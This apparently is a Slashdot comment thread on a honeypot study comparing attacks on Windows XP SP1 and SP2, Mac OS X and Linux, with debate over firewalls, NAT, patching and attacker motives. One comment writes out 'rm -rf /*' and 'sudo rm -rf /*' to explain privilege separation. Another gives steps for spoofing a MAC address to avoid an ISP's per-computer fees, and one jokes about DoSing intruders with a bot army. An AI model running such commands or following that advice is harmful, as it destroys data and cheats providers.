From the article: The Macintosh system received three attacks. Two of the Linux systems received eight attacks each, though Red Hat's version of Linux received no attacks at all.

The attacks are more than just pinging/scanning, which was separately tracked.

Re:Lame article.

[Ridgelift]

Just because people can knock on every door doesn't mean that every door is as insecure as the next. You can knock on every door in a neighborhood, but some will be better constructed and have more secure locks. Still, none prevent one from knocking.

You're right, but it's a fluffy piece targeted at your mom and her friends, not you and me. The fact that this sort of stuff is getting into the news is a good thing. I'd say more than 90% of all Windows users are not protected properly, and they don't really care. Keeping your computer up-to-date is about as high priority as is changing the filter on your furnace.

It's a computer - it should be the job of the operating system to protect itself. It isn't, but it should be.

Re:Lame article.

[Jedi Alec]

Just because people can knock on every door doesn't mean that every door is as insecure as the next. You can knock on every door in a neighborhood, but some will be better constructed and have more secure locks. Still, none prevent one from knocking.

Well, I could think of a *few* things...how about a gate to prevent access to the premises itself? (it's not like a little 4 port NAT/router/firewall is expensive these days). Especially for Joe User who doesn't need all sorts of ports open since he's only browsing and emailing anyway it should work fine, things get a little more complicated if you want to get into gaming, but then again, the kids will likely know which ports to reroute.

Re:Lame article.

[Meetch]

Still, none prevent one from knocking.

Mmmm... sentry guns.

But seriously (just a little OT), the response to a knock can be tuned easily enough:

• Firewall. Your bouncer only lets in whoever he's been taught to trust. Or you can give it a guest list. Many broadband interfaces can also present a "false" front door thanks to IP Masquerading. Neither is 100% foolproof, but they do make life harder, especially for bulk tools used by script kiddies.
• Silently DROP incoming SYN packets on unused ports. Like having a trapdoor under the doormat - what knock?
• Something I liken to Neighbourhood Watch - at the first sign of a port scanner, broadcast to your friends and concerned neighbours of the attempt so they'll be wary of the stranger.
• Use your own bot army to DoS the attempted intruder. Something like a Claymore on the doorstep?

Then there's antivirus, groupware... the difference as I see it is the tools to do these are freely available with basically anything *n[iu]x*, while you tend to have to pay for a decent solution that runs on your favourite monopolistic vendor's OS. Not always, mind, but typically. Since I payed for XP (keeping it up to date), no software but games have cost me anything - AVG/OpenOffice/Mozilla + extensions/software that comes with purchased hardware... etc etc... it's pretty easy to meet license terms when you're not putting things to commercial use. This also means I'm not running any networked services publicly, so this box never accepts an incoming connection from the cloud.

As for the stuff that does matter - web, database etc services... I leave that to my Linux box, running just what it needs to, and I take a little time semi-regularly to ensure it stays close enough to up-to-date. It hasn't let me down as yet (neither did FreeBSD while I was running that too), and this is year 13...

Disclaimer: I don't know everything, but I know what ideas I like. And just because I like the idea, doesn't necessarily mean I implement it.

Re:Lame article.

[louarnkoz]

There is something bizarre in the way the article counts "attacks". In theory, the number of attacks should be almost the same for each computer in the honeypot, because most viruses don't know what they are attacking.

The blaster and sasser worms, for example, make no attempt at reconnaissance. They simply blast TCP connections to IP addresses chosen at random. In theory, they have exactly as many chances of attacking the XP/SP1 box as the XP/SP2 box, or for that matter any the Mac or any of the Linux boxes. The attack is much more likely to be successful of tne SP1 box, but that does not mean the other computers were not attacked.

So, what did they actually count? What do those numbers mean?

Re:Lame article.

[Rosyna]

No, actually they aren't. There is no known remote exploits for OS X that have been exploited (and possibly none that can be). Any version. It seems to just be a count of the number of times it was scanned or something. Like if a Windows PC is exploited, it'll start scanning specific ports on different IP addresses. From the look of the article, this is what they meant by "attacks".

You can't blame OS X or Linux from being scanned by an exploited Windows PC.

Re:Lame article.

[menscher]

Your point would make sense if not for the fact that they said windows was scanned thousands of times, and redhat 9 not at all. Or maybe just nobody ever randomly picks the IP of a linux box? Yeah, that's it.

Maybe they think of attempts to ssh in as root and guess the password as attacks?

Re:Lame article.

[cerberusss]

none prevent one from knocking

Obvious solution: cover door with wire mesh which has a current running through it. It won't prevent anyone from knocking, it'll just be the last thing they do. :)

Re:Lame article.

[farmhick]

"(it's not like a little 4 port NAT/router/firewall is expensive these days). "

Hey, cool, I was waiting for their price to drop. My question is, how do I hook up my 33.6 modem into that thing?

Re:Lame article.

[balloonpup]

Well, if you have the $90 Netgear FWG114P, you hook your modem to the serial port on it... likewise a good number of other similar products. Granted, they're not as common as the normal ones, and a bit pricier, but they're there if you want them...

Re:Lame article.

[4of12]

It's a computer - it should be the job of the operating system to protect itself. It isn't, but it should be.

You silly idealist!

Explain how, then, in your world would users be so naturally encouraged to go out and buy a new computer with a new, more secure, pre-installed operating system every several years, hmmm?

Sincerely,
Your computer vendor.

Re:Lame article.

[LilMikey]

Explain how, then, in your world would users be so naturally encouraged to go out and buy a new computer with a new, more secure, pre-installed operating system every several years, hmmm?

I'm pretty sure I've never heard grandma say "Hey, I need a new machine so I can run XP SP2 instead of this silly Windows 2000 SP4."

Security

[BWJones]

These results mirror what I typically see on my workstation. I run a couple of websites on my workstation including our laboratory website, and my blog. Logs are monitored constantly with a nice tool called mkconsole that displays the logs transparently on my desktop. Several times a week, there is an attack. Most however are either scripted or fairly primitive, although last week there was a sophisticated attack that that bounced through a compromised Windows machine on campus. We tracked it back to an AOL user on the East coast and reported his IP address to the sysadmins. They sent an email back to me letting me know that they would follow it up. I've not heard anything else since, but in addition to using a more secure OS, one should also maintain a vigilance of your systems to help keep things under control and if you do use Windows, PLEASE keep it patched with recent security releases.

The truth is that if somebody really does want to get into your system, it can happen. In addition to using a secure OS and keeping the security updates current, securing physical access is your next line of defense.

Re:Security

[SensitiveMale]

In addition to using a secure OS and keeping the security updates current, securing physical access is your next line of defense.

Not to be picky, but securing physical access is the first line of defense.

I don't care what OS you use or how up to date it is, if someone can physically touch the computer they can break into it.

Re:Security

[_Hellfire_]

Agreed. It's an old saying never truer than today:

"If you got boot, you got root".

Re:Security

[BWJones]

I did not say exactly what I meant. However, this post I made a little while ago will clarify exactly what I intended to say, but was too busy with writing other stuff to type.

In short, I agree completely with you.

Re:Security

[bersl2]

I have had 2 or 3 bots trying to brute-force my main box's password for months on end. The attacks all come from (likely compromised) server farms. I used to run without a firewall, but now I block every IP that tries to run an attack.

They won't succeed as long as I patch, because root logins through SSH are disallowed, and I don't have any of the usernames they guess.

Keep trying, d00dz!

Re:Security

[Frogg]

http://www.r-fx.org/apf.php
http://www.r-fx.org/b fd.php

Re:Security

[P-Nuts]

I don't care what OS you use or how up to date it is, if someone can physically touch the computer they can break into it.

If you're truly paranoid, a good encrypted file system and a bunch of longish and fairly random passwords will defeat most people. You'll need pretty serious electronics kit to get any further.

Of course, someone can always DoS you, with a large sledgehammer.

Re:Security

[SgtChaireBourne]

I have had 2 or 3 bots trying to brute-force my main box's password for months on end. The attacks all come from (likely compromised) server farms. I used to run without a firewall, but now I block every IP that tries to run an attack.

I hope that you or your network administrator have been on the phone and spoken with the sysadmin for that server farm. Let your own team know the outcome and progress of the dialog. Unless, the server farm's sysadmin is a complete asshole and / or incompetent, you can expect the attacks based from there to cease right away. Get the police involved if the phone calls don't work, the police can lean on the sysadmin or his boss. Police may claim ignorance or other bullshit, but if they give you lip, politely and firmly remind them that it is there job to help deal with crime.

Aside from digging up the phone number, it takes only a few minutes of your time if you use the speaker phone or head set while you're on hold.

Re:Security

[Just Some Guy]

They won't succeed as long as I patch, because root logins through SSH are disallowed, and I don't have any of the usernames they guess.

That's a good start, but the real reason they won't be logging in should be that they don't have the RSA private keys needed to authenticate. I don't care if you know my username and password - you still won't be getting a shell.

Now open sendmail

[aixnotpains]

and count the seconds before it becomes a spam relay.

Re:Now open sendmail

[Seumas]

That's interesting, because Sendmail has (for a number of years now, I believe) been configured to deny all relays by default. Same with iMS, SIMS, S1MS, NMS, etc.

Re:Now open sendmail

[aixnotpains]

okay, okay,,, or at least until the attempt is made

Yeah

[elid]

I don't think end users can be trusted to protect their computers. At a minimum, providers of Cable and DSL should make customers use modems with built-in NAT/firewall.

Re:Yeah

[wolrahnaes]

"At a minimum, providers of Cable and DSL should make customers use modems with built-in NAT/firewall."

I was happily surprised with Verizon. Not only did we get a 4 port NAT router with 802.11g, but it also supports what the router's software calls "IP Passthrough", which takes the concept of a DMZed IP one layer further and basically makes the NAT completely invisible to the selected computer. I have it set up so my laptop is the one to pass through to, so from my end it looks just like I was plugged straight in to the wire, and every other computer in the house still gets their 192.168.whatever IPs behind the NAT where they can stay reasonably secure, even if the software isn't up to date. (for various reasons, my LAN contains 98SE and XP RTM machines, which would be 100% owned in minutes without the NAT)

Re:Yeah

[vijayiyer]

Why should those of us who are responsible, don't use windows, and don't want NAT or a firewall be forced to use one? Thankfully, I have a provider who doesn't handhold me, block ports, or tell me that I can't use my connection for business. They give me my IP, and I pay for my bandwidth, they way it shoudl be. A better solution would be to cut off access to those who are perpetrating or supporting attacks. That includes people whose machines become zombies used in DDOS attacks, worms, etc. That would have the effect of only punishing hackers and people who are part of the problem (usually through stupidity).

Re:Yeah

[hbackert]

I hope your are being sarcastic as all attacks from the Internet are being redirected to your laptop via NAT. That is, unless that router can do something else like filtering ports to that laptop.

Re:Yeah

[wolrahnaes]

"I hope your are being sarcastic as all attacks from the Internet are being redirected to your laptop via NAT. That is, unless that router can do something else like filtering ports to that laptop."

No I'm not being sarcastic. I keep my laptop locked down so it's safe to be out on the wild internet. I don't give a shit if some 1337 skript kiddie or an infected winbox is trying to get in to my machine, they aren't going to be successful.

NAT is a lazy, half-ass solution, but it works for the most part. That's why I keepy my parents' and brother's machines behind it. I know they won't keep their machines up to date (they have the XP RTM and 98SE boxes I mentioned above), so I just stick them behind a NAT and call it a day.

For myself, I prefer to have the simplicity of a globally routable IP address, since I know a security fix is usually only a click of Synaptic or Windows Update (depending on which OS I'm running at the time) away, and if not, it's trivial to either update, disable, or block the service. I have the basic Windows Firewall and a simple ruleset on Linux, aside from that I'm exposed to everything, and in the last 6 months of nearly 24/7 uptime with an unfiltered internet connection, not one attack has been successful.

Re:Yeah

[m50d]

They shouldn't need to protect them. All OSes should ship with all services disabled. No services means no vulnerabilities (unless you have a buggy TCP stack, but they've been around a while and been thoroughly audited). Someone who needs the services should be competent enough to turn them on.

Re:Yeah

[Badaro]

I don't think end users can be trusted to protect their computers. At a minimum, providers of Cable and DSL should make customers use modems with built-in NAT/firewall.

The problem is, this could lead to ISPs giving you only NAT access with no forwarded ports. I know there's at least one DSL provider here in Brazil that does that.

[]s Badaro

Re:Yeah

[melandy]

Ok, maybe not "make customers use...", (you're going to get a lot of resistance to that here) but at least let them use the *one port* on the modem to plug in a switch/router/whatever that has a firewall, plus room for more computers to plug in.

The drill is*...
1. Get everything set up according to Comcast's view on how the world should work (e.g. one computer per connection, unless you want to pay extra -- I don't).

2. As soon as they leave (or you get off the phone, depening on how you chose to install), break out the switch/firewall, and plug the computer into that.

3. Spoof the MAC address on the NIC in the computer as the external MAC on the switch (works on Linksys products -- others too, I assume).

4. Plug the switch into the modem. Externally, this just looks like you un-plugged your computer for a few minutes. Note that this is not so much a matter of the MAC must be exactly the same as when they set up your account (people do periodically buy new computers, after all), but rather the coding in the MAC not announce to Comcast "I'm a Linksys Cable/DSL router wih 4 port switch! Guess how many computers are plugged into me! Why don't you bill me extra?"

5. Configure the firewall built into the switch/router/whatever.

6. Make whatever repairs you need to on the computer that was online with no external firewall (installing your favorite Linux distro is a good start).

7. Plug in the other computer(s) that Comcast wanted to charge you an additional "fee" for.

8. Profit!!! -- wait, no, step 8 is just "Don't get screwed!!! (relates both to Comcast and malware)"

* at least according to Comcast rules 2 years ago -- they may have slackened up the rules since.

Yes it would be nice if all broadband connected computers (ok, at least all of them that are in homes) were behind a hardware firewall -- the kind that isn't "off by default" when you have to reinstall your OS. But that's just not realistically going to happen. There are the "you can't tell ME what to do with MY computer" bunch, then there's the group that don't want to be forced to use a specific product, but actually know what they're doing, and finally the clueless that don't want to pay extra for it (e.g. my parents). They want security, but they want it for free.

Re:Yeah

[equiraptor]

How about an optional firewall, with no extra charge? Someone like my Aunt, who's only technical resource is 200 miles away, could opt for the firewall, whereas those of us who don't want it and have some ability to secure our systems ourselves could opt-out. Say it's part of the default package, so people get it unless they specifically request not to have it.

I've not worked at an ISP, and I don't know how practical something like that would be, but in my early morning idealist world, it sounds like a decent compromise.

Re:Yeah

[Politburo]

Why should those of us who are responsible, don't use windows, and don't want NAT or a firewall be forced to use one?

Same reason you're forced to do many other things: A lot of people are fucking idiots.

-1 Off topic

[Mudcathi]

Over the course of a single week the machines were scanned 46,255 times.

I got stuck in the self-checkout line at Walmart once, behind a lady who had this same problem.

/sucked!

Jaguar?

[Anonymous Coward]

Tell me I'm dreaming. Are these people really testing the old Mac OS X 10.2 (Jaguar)? And it withstood all atacks. Nice kitty.

Re:Jaguar?

[poopdeville]

I kind of wonder what sorts of vulnerabilities the scan bots were trying to exploit. I haven't heard of very many OS X vulnerabilities, and Apple is pretty good about getting fixes out within 2 weeks of even proof-of-concept stuff. I suspect the testing methodology used only counted pings and socket scans, and not actual attacks.

Re:Jaguar?

[ischorr]

I say it'd be somewhat equivalent to scanning WinXP SP1. Jaguar was released in July of 2002, and continuted to have minor releases produced through October 2003, and Apple supposedly still releases critical security patches for it. I'm not sure what the surprise is here?

Re:Jaguar?

[MaestroRC]

The surprise is that this was an *out of the box* install of jaguar. Unpatched. Which means it hasn't had any updates for 2 and a half years. Amazing.

Don't bother reading the article

[cecom]

TFA tells us that Windows XP SP2 is more secure than Windows XP SP1 (unbelievable!!) and that there are fewer attackers targeting Linux and MacOS than Windows (hmmm - I wonder why ?).

Very thought provoking and innovative information indeed.

Re:Don't bother reading the article

[Anonymous Coward]

They claim that they used a computer right out-of-the-box, right? When did they do this little test? It says near the bottom they used Mac OS X Jaguar! Apple hasn't sold a Mac with Jaguar installed for over a year! Not saying that Jaguar was insecure, but doesn't it seem odd that they'd use SP2, (which came out only a couple of months ago) and use an older release of a Mac OS?

Just seems a little unfair, that's all... (bahaha! Jaguar less secure than SP2!?! What am I thinking!)

Re:Don't bother reading the article

[Gis_Sat_Hack]

Interestingly enough, a year long study at http://zone-h.org/en/winvslinux2 has it that the Linux family is attacked (probed, not comprimised) more than Windows.
As with all studies, your mileage may vary, how was it setup, how many IP's etc. - but a fun set of graphs in any case.
( What's that line down the bottom .. ? Is it BSD ? )

RTFA

[jleq]

And I quote:

Windows XP Service Pack 2
Attacks: 16
Results: Survived all attacks

Windows is *obviously* attacked more, simply because it is the most popular operating system. If I was a malicious coder, why would I want to spend time writing code that would only attack the 10% of computer users not running windows in the first place? It's simply more logical for those evil people to write software that attacks Windows... secure or not secure, it's going to be the primary target until it loses it's market dominance.

Re:RTFA

[UnknowingFool]

True, Windows is the most popular operating system but there is some merit to the argument that it is targetted because it is vulnerable to attacks. SP1 it was infected quite easily. The article doesn't mention how vulnerable the other two were out of the box. Windows is easily the dominant desktop OS with 90% of the market, but when it comes to servers, it represents about 60%. So even though Linux represents about 30% of servers, it doesn't face the level Windows faces.

Re:RTFA

[geminidomino]

If I was a malicious coder, why would I want to spend time writing code that would only attack the 10% of computer users not running windows in the first place?

IIS vs. Apache seems to deny this conclusion.

Re:RTFA

[pixelgeek]

-- If I was a malicious coder, why would I want to spend time writing code that would only attack the 10% of computer users not running windows in the first place?

Well if Windows was secure then you would.

It doesn't matter how popular an OS is. If it is riddled with holes that scammer can exploit to create DDoS or spam zombies then they will.

Regardless of the marketshare. 15 million Mac boxes would still be a tempting target for these people if there was a known security hole they could exploit. The same with Linux, Redhat or any other OS you care to mention.

Windows gets hit with these worms and virii simply because of the inability (or lack of concern on the part) of Microsoft to patch their OS...not because of any market share numbers

Re:RTFA

[azav]

The article does mention how the vulnerable the mac was out of the box.

3 attacks, no compromises, right out of the box.

Re:RTFA

[LnxAddct]

Unix machines tend to be used for more mission critical applications. If you want to get into high security servers, etc... you need to hack unix. Also, its nice knowing the box you root will probably be running 24/7 unlike windows machines which are usually desktop machines and are often turned off over night etc... There are a number of reasons why people would want to attack unix instead of windows. Personally I'd choose a unix machine over windows anyday. What the hell good is windows going to do me when I'm sitting 1000 miles away logged in with ssh?
Regards,
Steve

Re:RTFA

[Anonymous Coward]

IIS vs Apache doesn't mean shit, most of the apache sites are from large hosters, hence millions of sites with just a few boxes making the numbers meaningless. besides which apache runs on many things other than Linux including windows.

Re:RTFA

[iccaros]

one thing they did not touch on.. if SP1 is taken over in 18 min.. when is there time to install SP2? and they did say that linux and Mac OSX were unpatched.. the we have a bigger market share is not a true statment.. its an excuse.. With Microsofts new test in Active X (yes the same thing we have to turn off in all DoD system ) to see if you have a legit copy of windows will just open more holes to get your updates.. what woudl be intresting is since MS did not release the same patches for sever 2003 saying its already loced down. you have to break most of the "lockdowns" to make it work correctly.... hwo quickly is it going to be attacked. and since there is no SP2 for it.. is it a good choice to use?

Re:RTFA

[kerrle]

What the hell good is windows going to do me when I'm sitting 1000 miles away logged in with ssh?

Well, for starters, it's hiding your real location and identity from discovery while you do whatever you're doing, along with two or three other Windows boxes along the way.

Or maybe its acting as a server for those big files you're hosting - or being searched for passwords and credit card info.

There are plenty of reasons people would want to hack a Windows box - and many of them are far more likely to be profitable than "high security servers" - indeed, they might even help in your attempt on those servers.

I'm not advocating any of the above; just pointing out that there are plenty of reasons someone would want to get into an MS box.

Re:RTFA

[jay-be-em]

No it isn't. I can make claims without any factual basis too! Weeee this is fun.

Re:RTFA

[rgmoore]

If I was a malicious coder, why would I want to spend time writing code that would only attack the 10% of computer users not running windows in the first place?

To get a bigger slice of a smaller pie. Worm authors aren't just writing the things as a form of random vandalism; they're writing them to set up botnets that they can use for other nefarious purposes. The huge volume of Windows malware means that there's serious competetion for infectable hosts. A successful Linux or OSX worm would have the whole field to itself, which would make up for the smaller number of infectable hosts.

Re:RTFA

[jrockway]

I think that makes the numbers MORE meaningful, not less! If the big sites are all using Apache and not getting hacked (even though the incentive is high), then that means Apache is doing pretty well!

Compare that to joe-average user who's unknowingly running IIS and getting hacked even there's no incentive for a hacker to 0wn him.

Re:RTFA

[bofkentucky]

I wonder why the big hosting providers don't use IIS, would it be the prohibitive hardware and software costs, or the known lax security proceedures at MSFT.

Re:RTFA

[geminidomino]

That's my point. The post I was responding to fell back on the old "Greater Deployment == increased attacks" excuse.

To this day I'm STILL registering CodeRed hits on my Apache server!

Re:RTFA

[geminidomino]

It doesn't matter if Apache runs on things "other than Linux" (Thanks for pointing that out, BTW. Here I thought my Apache server running on FreeBSD was some kind of mutation). The point is that Apache is deployed wider than IIS, and yet is exploited less often, short circuiting the myth that the only reason MSFT software is owned so widely is because of greater deployment.

Re:RTFA

[innosent]

You're almost right. XP SP2 may not have services available out of the box, but take the average user, and it will have services available. Most people with more than one computer will share a printer or files within their house. XP would recommend that they disable the protections for the SMB ports, which would open up virtually the entire system, since MS tends to use the services that listen on ports such as 135, 137-139, and 445 to do a lot of things, not just share files. Also, you're forgetting about what happens when people actually USE a system, like browsing the web or checking email. At that point, the security model of Windows simply cannot compete. Regardless of software issues (any software app can and will have security bugs), the OS should not allow a normal user to have system level access. IE is a system process, it has access to everything, so an IE bug expliot can do anything it wants. A bug in a UN*X app can only gain the priviledges of the person running it.

So yes, for useless systems, Windows XP SP2 is right at the top, but if you're going to just install an OS and let the computer just sit there, never to be used, why pay $100 to license the OS?

Re:RTFA

[Cecil]

You'd be surprised what XP's definition of 'firewall on by default' is. Among numerous other things, it leaves all of the *important* windows services unblocked, including XML-RPC and SMB/NetBIOS.

It's impenetrable like a wet paper towel.

Re:RTFA

[Dr.Opveter]

one thing they did not touch on.. if SP1 is taken over in 18 min.. when is there time to install SP2?

You get it for free on cd from Microsoft or your local vendor, and do not, i repeat do NOT connect the machine to the internet before having installed SP2.

Re:RTFA

[HanB]

... why would I want to spend time writing code that would only attack the 10% of computer users not running windows in the first place?

You crack because you can crack. You don't try to crack into something which you can't crack into.

Re:RTFA

[rhennigan]

Maybe you're hired by Microsoft to do it?

Re:RTFA

[martinoforum]

IIS running a website reading "Haha, you've been 0wned by the Romanian Hackers" or words to that effect at a previous employer of mine tend to support them, however.

Re:RTFA

[js3]

which big hosting providers would that be? Are they unable to lock down their own pcs? If you're a hosting provider, you lock yourself out of IIS for one of two reasons. Price too high or your customers don't need it. There are many solutions that need IIS to run on, and from what I've seen, the hosting prices for windows web solutions (iis,asp.net,asp,sql server etc) are much high sometimes even double the price of the unix equivalents

Re:RTFA

[jay-be-em]

Um, no. You said it is more secure out of the box than most UNIX variants 'including Linux'. I don't even know where to begin trying to understand what you meant by this.... Any particular distribution? Your 'factual basis' is more than slightly specious.

Re:RTFA

[mdarksbane]

There's also the issue that almost no one runs anti-virus on OS X. Why would they? Its like paying for cloud insurance.

So you make a worm that can hit OS X, no one's going to have any warning that they're system is infected. You could have quite a little zombie net, or steal a few passwords, before most people are even aware.

Re:RTFA

[jleq]

A good point, indeed. Apache a very secure, great piece of software. However, the source code for an operating system is *much* more complex than that of a web server; hence, there is more probability for bugs to occur.

I'd like to note that with many Windows exploits, people only begin using them AFTER Microsoft has announced that the problem exists and has released a patch. No operating system is perfect.

Also, we must take into account the fact that most Windows users are fairly inexperienced people on their first or second PC. They often don't know that various security vulerabilities exist, and simply ignore the threat. However, most Linux/BSD/whatever users are experienced enough to protect themselves from threats. This makes Windows users even more of a target, because, for the most part, they don't know what they're doing.

Just so you all know, I'm not trying to pick sides on the whole Linux vs. Windows war here... I use both Linux AND Windows (linux on my servers, windows on my desktops).

Re:RTFA

[Lars T.]

Yeah, yeah. But then why where there three attacks against MacOS X and 8 against Linux (also survived all attacks)? Wouldn't your argument result in attack-proportions lower than marketshare, not higher? Or is your point that XP SP 2 simply hasn't been cracked yet because so few people use it compared to the easily exploitable XP SP 1?

Re:RTFA

[iccaros]

but does the common person know that ?? Good Administrators know that .. Most MCSE's I met do not.. but that is a different topic.. my comment is not on what I know.. its on the average user.. who thinks the new PC they just bought is all up to date.. even though it set in a wherehouse for 30 - 60 days. But its not the big companies getting infected and keep spreading the same problems over and over.. its home users. The uneducated home user.. who know internet update and see they can get a CD of the updates if they read the site.. but that takes too long.. >>warning slight change of topic.. And what about Microsoft new ideal of requiring you to run an active X program to prove you bought the OS. While they have the right to make sure they only service people who pay to be serviced....Active X is one of their bigest problems. Now I work with PL level 4 systems. so maybe this is not the norm.. but NSA requires active X to be off for accreditation. They never learn.. because they really do not care.. why should they they have at lest 92% of the desktop market. Plus now they are getting into the anti-spy ware market its free now and they say it will be free for home users.. until when.. when all the competition is gone and then they can charge? have a nice day..

Re:RTFA

[innosent]

Partially true. Some components of IE run in user mode, but IE uses several kernel mode parts, for doing things like installing plugins or browser helper objects, modifying registry entries, and doing abstract syntax notation (ASN.1) parsing. Sort of like running an application in Linux in user mode, as a user that has the ability to use sudo. It's a false sense of security to say it runs in user mode, because while that's true, the only real difference is that one will happily run 'rm -rf /*', and the other will need 'sudo rm -rf /*'. Browsers probably should be jailed, but I'm not aware of any that do this (could easily be done in Un*x though).

Re:RTFA

[geminidomino]

No, that's not reasonable to assert as you are trying to do. There are several other factors to take into consideration, which you choose to ignore:

* Unix/Linux design philosophy began as a multi-user system, whereas MS added it on later as a very ugly kluge (remember WFW?). This included basic security measures such as not letting users have sufficient permissions to bugger the whole system, even if they were stupid enough to execute ParisHiltonsTitties.mpg.scr. As such, it's much harder to own a *NIX box through luser asshattitude.

* Servers can be just as useful to own as desktops, if not moreso. Desktops are great if scumware writers want to bomb some poor shmuck with ads, or use him as a bot in a DDOS. Servers, OTOH, tend to come with other features, such as a static IP, very wide reboot cycle, and fatter pipe, all of which can be very useful to nefarious ends.

It goes on and on, but I'm not going to waste any more time. If you've swallowed the hook that "Windows isn't mis-designed, it's just its popularity that makes it a cesspit of scumware" in this day and age, you're probably beyond education.

Warez

[NoGuffCheck]

I was on a warez site last week looking for some serial numbers um.. i miss placed. anyway the amount of crap that was installed onto my win98se firefox box was incrediable. after uninstalling at least 4 pieces of spyware i had 860 odd errors in my registry.. lovely!

Re:Warez

[ericdano]

That seems like an oxymoron. Windows running as a firewall.

Go spend the $50 and get a little box that does it. Linksys, netgear, etc.

Re:Warez

[brsmith4]

firefox not firewall.

Re:Warez

[farmhick]

Weird, I was doing the same thing this weekend, also on a Win98SE box. Using both IE 5.5 SP1 and Firefox. No infections at all. Of course, it may have taken them longer to infect me, over my 33.6 modem. Or with my Pentium CPU screaming at 133MHz.

Actually that last item causes some fun at times. Someone will tell me about their new "Pentium 4" system, and I mention my "Pentium 133", and their eyes glaze over wondering how I got such an advanced system.

New reality show

[TheDarkener]

Imagine a reality show based on this...

"Coming up, we'll have Windows eat a big bowl of fried portscans!!!"

*circus music*

"And after the break, Linux will jump off of the gigantic Mount Exploit!"

*dark piano music*

(Reality check): It would probably fall off the air for requiring someone to think, though...

Re:New reality show

[MuckSavage]

I bet fox would air it.

Re:New reality show

[farmhick]

It could be a dream episode on "24", what with the 'port attacks' and such.

The Article in one sentence

[bdigit]

" But in the end, none of the attacks were successful."

So... Let's see how many people don't read the article and begin ranking on windows. Startttttinnnng NOW

Re:The Article in one sentence

[Anonymous Coward]

"Windows XP Service Pack 1

Attacks: 4,857

Results: Attacked successfully within 18 minutes by the Blaster and Sasser worms. Within an hour, the computer was taken over and began attacking other Windows machines."

Re:The Article in one sentence

[koreaman]

Ahem, service pack one

Re:The Article in one sentence

[DarKry]

Anyone who cares about the results of this already knew what the results would be. As long as there are twelve year olds and POC exploit code you will get port scanned 5 billion times a week. The 12 year olds however are not the people to worry about and the people who you should be worried about are unlikely to fire up nmap/nessus. They won't be attacking you unless there is a good reason. And don't think people look for bounce points by attacking windows services. Any remote attack is messy and unreliable, much better to put together a simple trojan and watch it spread itself. The only way you are going to be attacked by any one with half a clue as to wha they are doing is if you have something worth seeing (and no your credit card number does not qualify). If you have passed all these tests so far then lets consider what happens next. Being a big target it is going to be pretty obvious what you are running and where just from dns records. next the attacker will figure out specific versions by simply faking a valid connection. once he has this he will either find a known exploit, or more likely dig through some code and find a new one. He will set up a test environment that looks exactly like your system, he will script his exploit to be quite and deadly. he will hit you once with one connection and its over. If this guy is attacking you and that connection comes you are already to late.

Every system is vulnerable, luckily there are very few people who possess both the knowledge and the lack of morals it takes to be able to find the holes.

So why are we doing studies on what the 12 yr olds of the world are doing, and calling them comp sec.

Re:The Article in one sentence

[Enigma2175]

Crawl This - http://darkry.net/test/test.php [darkry.net]

Warning: file_exists() [function.file-exists]: Unable to access in /var/www/html/test/test.php on line 6

I would recommend 'display_errors = Off' in php.ini, or you are giving free information to the 12 year olds and they will pwn you.

Re:The Article in one sentence

[DarKry]

that page == me playing with google. the error is there for a reason as is the link on slashdot. but thanks anyway... I think

Conclusion summary:

[rasafras]

Unpatched Windows: Bad.
Patched Windows, Mac, Linux: Good.

Point? We already hear how much worse security Windows has multiple times a day. This doesn't even say it outright...
The real thing I gained from the article is the fact that there are still an immense number of infected computers out there, and this brings me to the question: where? How many people could there possibly be out there whose computers are being run by various exploits? We already know that they're all thanks to people that suck at patching their machines, and I find that to be a much larger problem than the security of a fully patched OS.

Re:Conclusion summary:

[baomike]

There are a lot of infected computers out there. I often run TARPIT under iptables, and am amazed at the quantity of stuff I get.

I have it set up to stick to the usual windows ports,
135,137... 445 etc.

I finaly sent email to one ISP in wyoming suggesting
they help a guy, he had been stuck for days. At least it may have slowed down infecting someone else.

Re:Conclusion summary:

[jackbird]

where? How many people could there possibly be out there whose computers are being run by various exploits?

EVERYWHERE.

See, most people have no cognitive construct of "how it's supposed to work". Even people whose job it is to accomplish tasks on the computer (like writing documents or CAD drafting), often just think the machine is PHYSICALLY BROKEN when things go wrong.

I cleaned horrendous amounts of spy/adware off an occasional client's laptop recently, and he mentioned the machine had been "acting funny" for SIX MONTHS.

I had been called in because "when more than one client is on our network, the [windows] server crashes, and nobody can get on the net". It was the [also] Blaster-infected laptop causing the RPC shutdown behavior on the server, and saturating their pipe with outgoing spam. In January '05!

Now, there's nothing stupid about these people - they are using computers as devices for running applications, not as ends in themselves. They didn't know from patches, scans, or safe practices, and I doubt my rundown of the problem and what to do about it really sank in.

Re:Conclusion summary:

[strider44]

no they used unpatched Windows and Mac.

The Linux and Macintosh sytems were installed out of the box without any additional security patches. Windows SP 2 automatically downloads the latest security patches from the Microsoft website.

It seems all they were saying is if you don't patch your windows box promptly then you're stuffed, otherwise you're fine.

Windows XP SP1a: February 3, 2003
Windows XP SP2: Auto updated
Mac OSX Jaguar: July 17, 2002
Suse Professional 9.2: November 1, 2004 (Novell website didn't show release date)
Fedora Core 3: November 8, 2004
Red Hat 9: March 31, 2003

Microsoft have the second oldest operating system there, and the only one that got successfully attacked.


To answer the second part of your post, people just don't go running down the street yelling "I got pwned! I got pwned!"

Most people who get their computers taken over don't even know it.

Re:Conclusion summary:

[barnacle]

Actually it was:
Unpatched windows: bad
patched windows, unpatched Mac, unpatched Linux: good

reaafirming what almost every slashdotter wants to hear: windows is not as secure as UNIX, because, if I may go a little farther, most of us believe that this is due to the fact that Windows' design is not as clean, elegant, or transparent as UNIX's, and therefore the OS is harder to secure.

Even though this is not really news I would guess that the average computer user is not fully aware of these points.

Re:Conclusion summary:

[headLITE]

I run a passive OS fingerprinter (p0f in fact) on one of my machines. The numbers have been skewed by legitimate use lately, but I'm still registering more than one thousand renegade connection attempts per day. That is, connections from Windows machines alone amount to about 1500 per day with about 500 being HTTP and almost everything else being random scanning. This is a single machine.

Every once in a while I get depressed over this and get drunk because I don't want to think of how many infested boxes there are.

Scan with Impunity

[physicsphairy]

Most scans and penetration efforts are conducted via zombie machines, and shutting down infected users who probably haven't the faintest clue what's going on just isn't worth the headache it causes ISPs.

So any resolution of this issue has to must be implemented on the OS side.

On that note, Windows is largely responsible for attacks on other operating systems--easily hacked Windows machines are what provides the cover for most blackhats, including those who are attacking Linux/BSD servers.

Re:Scan with Impunity

[DarKry]

actually to conventionally hack windows is arguably more difficult. To trojan is simple but only because any kid can write VB. Its pretty simple to trojan a nix machine too, just takes a bit more knowledge than most kids are willing to obtain.

Re:Scan with Impunity

[rawg]

